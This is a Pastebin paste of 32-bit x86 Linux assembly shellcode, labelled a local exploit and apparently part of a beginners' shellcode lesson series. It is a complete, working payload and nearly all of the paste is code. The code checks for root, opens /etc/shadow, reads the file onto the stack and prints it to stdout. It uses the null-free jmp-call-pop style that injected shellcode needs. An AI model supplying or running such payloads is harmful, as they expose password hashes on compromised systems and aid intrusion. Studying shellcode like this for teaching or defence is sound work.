Madmouse

local exploit Shellcode to dump /etc/shadow to stdout

Sep 10th, 2014
303
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ;
  2. ; part of my shellcode for noobs lesson series hosted in #goatzzz on irc.enigmagroup.org
  3. ;
  4. ; ----------------------------------------------------------------------------
  5. ; "THE BEER-WARE LICENSE" (Revision 43):
  6. ; <[email protected]> wrote this file. As long as you retain this notice you
  7. ; can do whatever you want with this stuff. If we meet some day, and you think
  8. ; this stuff is worth it, you can buy me a beer in return Aaron R. Yool
  9. ; ----------------------------------------------------------------------------
  10. ; 32bit call: eax args: ebx, ecx, edx, esi, edi, and ebp
  11.  
  12. [bits 32]
  13. section .text
  14. global _start
  15. _start:
  16. ; getuid16(void);
  17.     xor eax,eax
  18.     mov al,0x18
  19.     int 0x80
  20.     xor ebx,ebx
  21.     sub eax,ebx
  22.     jnz exit
  23. ; open("/etc/shadow", O_RDONLY);
  24.     xor eax,eax
  25.     mov al,0x5
  26.     jmp short shadow
  27.    
  28. load_shadow:
  29.     pop ebx
  30.     xor ecx,ecx
  31.     int 0x80 ; do magic
  32. ; read(%eax, %esp, 0xffff);
  33.     mov ebx,eax
  34.     push ebx
  35.     xor eax,eax
  36.     mov al,0x3
  37.     mov ecx,esp
  38.     xor edx,edx
  39.     mov dl,0xff
  40.     mov dh,0xff
  41.     int 0x80
  42. ; write(1, %esp, %eax)
  43.     mov edx,eax
  44.     xor eax,eax
  45.     mov al,0x4
  46.     xor ebx,ebx
  47.     mov bl,0x1
  48.     int 0x80
  49. ; close(%ebx)
  50.     xor eax,eax
  51.     mov al,0x6
  52.     pop ebx
  53.     int 0x80
  54.  
  55. exit:
  56. ; exit(0);
  57.     xor eax,eax
  58.     mov al,0x1
  59.     xor ebx,ebx
  60.     int 0x80
  61.  
  62. shadow:
  63.     call load_shadow
  64.     db "/etc/shadow"
Add Comment
Please, Sign In to add comment